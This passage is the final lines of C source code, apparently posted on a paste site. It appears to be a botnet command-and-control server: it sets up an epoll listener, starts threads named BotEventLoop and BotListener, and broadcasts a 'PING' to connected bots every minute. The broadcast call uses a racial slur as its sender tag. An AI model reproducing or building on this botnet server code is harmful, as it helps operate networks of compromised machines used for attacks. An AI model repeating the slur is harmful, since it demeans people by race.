  669.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  670.         if (s == -1) {
  671.             perror ("epoll_ctl");
  672.             abort ();
  673.         }
  674.         pthread_t thread[threads + 2];
  675.         while(threads--) {
  676.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  677.         }
  678.         pthread_create(&thread[0], NULL, &BotListener, port);
  679.         while(1) {
  680.             broadcast("PING", -1, "NIGGER");
  681.             sleep(60);
  682.         }
  683.         close (listenFD);
  684.         return EXIT_SUCCESS;
  685. }
Add Comment
Please, Sign In to add comment